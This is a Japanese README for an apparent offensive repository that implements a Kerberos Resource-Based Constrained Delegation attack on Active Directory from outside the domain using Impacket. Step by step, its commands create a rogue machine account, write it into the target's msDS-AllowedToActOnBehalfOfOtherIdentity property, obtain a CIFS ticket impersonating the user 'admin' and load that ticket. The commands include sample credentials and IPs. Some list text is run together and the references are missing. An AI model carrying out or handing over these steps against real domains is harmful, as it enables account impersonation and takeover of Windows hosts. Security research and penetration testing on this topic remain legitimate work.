
外部からのKerberos Resource-Based Constrained Delegation攻撃(Impacket使用)
このリポジトリは、Windows Active Directory ドメインにおける Kerberos リソースベースの制約付き委任に対する実践的な攻撃に関するものです。
他の一般的な実装との違いは、この攻撃を Windows ドメインの外部 から開始する点であり、ドメイン参加済み(通常は Windows)のコンピュータからではありません。
攻撃は Python3 の Impacket のみを使用(およびその依存関係)して実装されています。最新の Impacket(執筆時点で 0.9.21)を使用して Arch 上でテスト済みです。

要約すると、詳細には立ち入らずに言えば、この攻撃はドメインコンピュータ、具体的にはターゲットのドメインコンピュータに関連するサービスプリンシパルを標的とします。
ここで必要な前提条件は次のとおりです。
msDS-AllowedToActOnBehalfOfOtherIdentity プロパティへの書き込みアクセス権)MachineAccountQuota を参照)非常に高いレベルでの攻撃の流れは次のとおりです。
msDS-AllowedToActOnBehalfOfOtherIdentity プロパティを悪用する利点:
この攻撃の一般的なツールセットは、ドメイン参加済みの Windows コンピュータ上で動作し、以下を使用します。
msDS-AllowedToActOnBehalfOfOtherIdentity の悪用のための PowerSploit dev ブランチの Powerviewこの実装では、ドメイン外部から純粋な Impacket を使用します。
Impacket の addcomputer.py サンプルを使用して、偽のコンピュータ(evilcomputer という名前)を作成します。
addcomputer.py -computer-name 'evilcomputer$' -computer-pass ev1lP@sS -dc-ip 192.168.33.203 ecorp.local/test:ohW9Lie0
リポジトリにあるスクリプト rbcd.py を実装しました。このスクリプトは、新しく作成された EVILCOMPUTER の関連セキュリティ記述子を、ターゲットコンピュータの msDS-AllowedToActOnBehalfOfOtherIdentity プロパティに追加します。
./rbcd.py -f EVILCOMPUTER -t WEB -dc-ip 192.168.33.203 ecorp\\test:ohW9Lie0
このスクリプトは、Impacket サンプルの ntlmrelayx.py 内の Python クラスを多用しています。ヘルプと使用例については、オプションなしでスクリプトを呼び出してください。
これで、S4U2Self クエリによる制約付き委任の悪用と、ターゲットコンピュータの偽装されたサービスチケットの取得の準備が整いました。Impacket のサンプルスクリプト getST.py を使用します。
getST.py -spn cifs/WEB.ecorp.local -impersonate admin -dc-ip 192.168.33.203 ecorp.local/EVILCOMPUTER$:ev1lP@sS
上記のコマンドは、対象のドメインユーザー admin の代わりに CIFS サービスチケットを取得し、admin.ccache ファイルに保存します。
ファイルパスを KRB5CCNAME 変数に追加した後、チケットは Kerberos クライアントで使用可能になります。
export KRB5CCNAME=`pwd`/admin.ccache
klist
リソースベースの制約付き委任の悪用の詳細については、以下を参照してください。
そして、Kerberos 攻撃に関する最も包括的なプレゼンテーションの1つ: